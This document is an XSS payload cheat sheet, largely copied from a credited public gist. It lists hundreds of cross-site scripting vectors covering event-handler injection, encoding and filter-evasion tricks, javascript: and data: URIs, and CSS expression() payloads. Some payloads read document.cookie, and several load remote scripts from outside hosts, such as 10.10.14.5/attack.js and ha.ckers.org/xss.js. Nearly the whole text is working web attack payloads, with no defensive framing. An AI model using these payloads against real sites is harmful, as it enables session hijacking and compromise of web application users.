

XSS_Vectors

```
===== Cross Site Scripting
#ToDo: ADDING THE BASICS OF XSS

using eval() to execute a String

</script>')));<br>
Encode the document.write('<script src="http://10.10.14.5/attack.js"></script>'); part
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">

<a onmouseover="alert(document.cookie)">xss link</a>
<a onmouseover=alert(document.cookie)>xss link</a>

Anything below this is thanks to kurobeats
Source: https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
I did not create this kurobeats is an awesome person for having dumped this in his gist permission was given to use this

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
```

```
<IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
<META onpageonpagonpageonpageshowshowshowgeshow="alert(1)";
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<INPUT TYPE="BUTTON" action="alert('XSS')"/>
">><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>>123</h1>
">><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
">><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
">></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
">><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="aler
">><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen>
">><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/chann
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
">><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>>123</h1>
">><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<iframe src="http://xss.rocks/scriptlet.html <
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<iframe src='&Tab;javascript:prompt(1)&Tab;'>
<svg><style>{font-family:&colon;'<iframe/onload=confirm(1)>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;">
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=alert(1)&NewLine;
```

```
<script/>&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /*>/**/alert(1)/**/</script /**
&#34;&#62;<h1/onmouseover='u0061lert(1)'>
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/') </script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert"X</script><img/*>src="worksinchrome&colon;prompt"1" /*/one
<img/&#09;&#10;&#11; src='` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyAXB0Pg==&#09;&#10;&#11
http://www.google<script .com>alert(document.location)</script
<a&#32;href=&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt#40;1#41;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('1')
<style onload=prompt#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(&#00;</form><input type=&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074#x28;1#x29;'>
<script /**/>/**/confirm('UFF41\UFF4C\UFF52\UFF54\UFF51\UFF11\UFF15')/**/</script /**/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style onload=&lpar;!--&#09;&gt;&#10;alert#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon; <body/onload=confirm(1)>
&#13;<blink/&#13; onmouseover=pr#x6F;mp#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert#x28;1#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javaSCRIPT&colon;alert(1)
//<form/action=javascript#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>/
/*iframe/src*<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
<font><svg><style>{src#x3A;'<style/onload=this.onload=confirm(1)'</font>/<style>
<a href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext></>|><plaintext/onmouseover=prompt(1)
</svg>'<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert#x28;1#x29; {Opera}
<a href="javascript&colon;\u0061#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn!/svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn!/svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

<%!--'%'><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src /\>/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value='`<div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;
<svg><script ?>alert(1)
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%2
<img src='xx:xx`onerror=alert(1)
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/"></object>
<meta http-equiv="refresh" content="0; javascript&colon;alert(1)"/>
<math><a xlink:href='//jsfiddle.net/t846h/'>click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061#x6C;&#101%72t(1)">X</a
```

```
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074(''\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061'
<script/src="data&colon;text%2Fj\u0061\u0061script,\u0061lert(''\u0061")"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061##115##99##114##105##112##116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061##x6C##101%72t(1)>
<script>+--1---+alert(1)</script>
<body onload=&lt;!--&gt;#10alert(1)>
<script itworksinallbrowsers>*<script* *alert(1)</script
<img src ?itworksinchrome?\\onerror = alert(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaaaa aaaaaaaaaaaaaaaaaaaaaa href=j##97v##97script##xA;##97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div onmouseover='alert(1)'> style="x:>
<--`<img/src=` onerror=alert(1)> -->
<script/src=&#100##97##116##97:text/&#x6a##x61##x76##x61##x73##x63##x72##x69##x000070##x074,&#x061;&#x06c;&#x065;&#x0
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button
"><img src=x onerror>window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60##115##99##114##105##112##116##32##115##114##99##61##34##104##116##112##58##47&
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
`"><\x3Cscript>javascript:alert(1)</script>
`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<script src=1 href=1 onerror="javascript:alert(1)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
```

```
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<object onError object onError="javascript:javascript:alert(1)"></object onError>
<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
<object onbeforeunload object onbeforeunload="javascript:javascript:alert(1)"></object onbeforeunload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
\x3Cscript>javascript:alert(1)</script>
'`><script>/* *\x2Fjavascript:alert(1)// */</script>
<script>javascript:alert(1)</script\x0D
<script>javascript:alert(1)</script\x0A
<script>javascript:alert(1)</script\x0B
<script charset="\x22javascript:alert(1)"</script>
<!--\x3E<img src=xxx\x onerror=javascript:alert(1)> -->
--><!-- --> <img src=xxx\x onerror=javascript:alert(1)> -->
--><!-- --\x00> <img src=xxx\x onerror=javascript:alert(1)> -->
--><!-- --\x21> <img src=xxx\x onerror=javascript:alert(1)> -->
--><!-- --\x3E> <img src=xxx\x onerror=javascript:alert(1)> -->
`'><img src='#\x27 onerror=javascript:alert(1)>
<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
'`><p><svg><script>a='hello\x27;javascript:alert(1) //'</script></p>
<a href="jav\x0cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="jav\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
<script>/* *\x2A;javascript:alert(1)// */</script>
<script>/* *\x00;javascript:alert(1)// */</script>
<style></style\x3E</style>
<style></style\x0D</style>
<style></style\x09</style>
<style></style\x20</style>
<style></style\x0A</style>
`'`ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
`'`ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
<script>if("x\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
<script>if("x\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
<script>if("x\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
`'`><\x3Cscript>javascript:alert(1)</script>
```

' ` "><\x00script>javascript:alert(1)</script>
' ` "><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
' ` "><\x00img src=xxx:x onerror=javascript:alert(1)>
<script src="data:text/plain\x2Cjavascript:alert(1)"></script>
<script src="data:\xD4\x8F,javascript:alert(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
<script src="data:\xCB\x8F,javascript:alert(1)"></script>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
ABC<div style="x:expression\x00(javascript:alert(1)">DEF
ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x09expression(javascript:alert(1)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
ABC<div style="x:\x20expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
ABC<div style="x:\x00expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test


```
<b <script>alert(1)</script>>
<div id="div1"><input value="`onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML="`<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
<embed src="javascript:alert(1)">

<image src="javascript:alert(1)">
<script src="javascript:alert(1)">
<div style="width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<? foo="><script>javascript:alert(1)</script>">
<! foo="><script>javascript:alert(1)</script>">
</ foo="><script>javascript:alert(1)</script>">
<? foo="><x foo='?><script>javascript:alert(1)</script>'>">
<! foo="[[[Inception]]]"><x foo="]><script>javascript:alert(1)</script>">
<% foo><x foo="%><script>javascript:alert(1)</script>">
<div id=d><x xmlns=""><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<img \x00src=x onerror="alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x11src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x10src=x onerror="javascript:alert(1)">
<img\x13src=x onerror="javascript:alert(1)">
<img\x32src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x11src=x onerror="javascript:alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x34src=x onerror="javascript:alert(1)">
<img \x39src=x onerror="javascript:alert(1)">
<img \x00src=x onerror="javascript:alert(1)">
<img src\x09=x onerror="javascript:alert(1)">
<img src\x10=x onerror="javascript:alert(1)">
<img src\x13=x onerror="javascript:alert(1)">
<img src\x32=x onerror="javascript:alert(1)">
<img src\x12=x onerror="javascript:alert(1)">
<img src\x11=x onerror="javascript:alert(1)">
<img src\x00=x onerror="javascript:alert(1)">
<img src\x47=x onerror="javascript:alert(1)">
<img src=x\x09onerror="javascript:alert(1)">
<img src=x\x10onerror="javascript:alert(1)">
<img src=x\x11onerror="javascript:alert(1)">
<img src=x\x12onerror="javascript:alert(1)">
<img src=x\x13onerror="javascript:alert(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<img src=x\x09 onerror=\x09"javascript:alert(1)">
<img src=x\x10 onerror=\x10"javascript:alert(1)">
<img src=x\x11 onerror=\x11"javascript:alert(1)">
<img src=x\x12 onerror=\x12"javascript:alert(1)">
<img src=x\x32 onerror=\x32"javascript:alert(1)">
<img src=x\x00 onerror=\x00"javascript:alert(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script>javascript:alert(1)>XXX</a>

<img src onerror /" " alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\\%(jscript)s"></script>
<object id=x classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23
<a style="o-link:'javascript:javascript:alert(1)';o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'{}*{-o-link-source:current}}]{color:red};</style>
<link rel=stylesheet href=data:, *%7bx:expression(javascript:alert(1))%7d
<style>@import "data:, *%7bx:expression(javascript:alert(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a><
<style>*[{}@import '%(css)s?']</style>X
<div style="font-family:'foo&#10; color:red; ;">XXX
<div style="font-family:foo}color:red;">XXX
<!-- style=x:expression\28javascript:alert(1)\29>
<style>*<x:#####(javascript:alert(1))</style>
```

```
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))
<div style="background:url(/f#oo;/color:red/*/foo.jpg);">X
<div style="font-family:foo[bar;background:url(http://foo.f/oo};color:red/*/foo.jpg;">X
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y;color:red;{} </style>
<x style="background:url('x#1;color:red/*')">XXX</x>
<script>({set/**/$($){/_/**/setter=$_=_javascript:alert(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
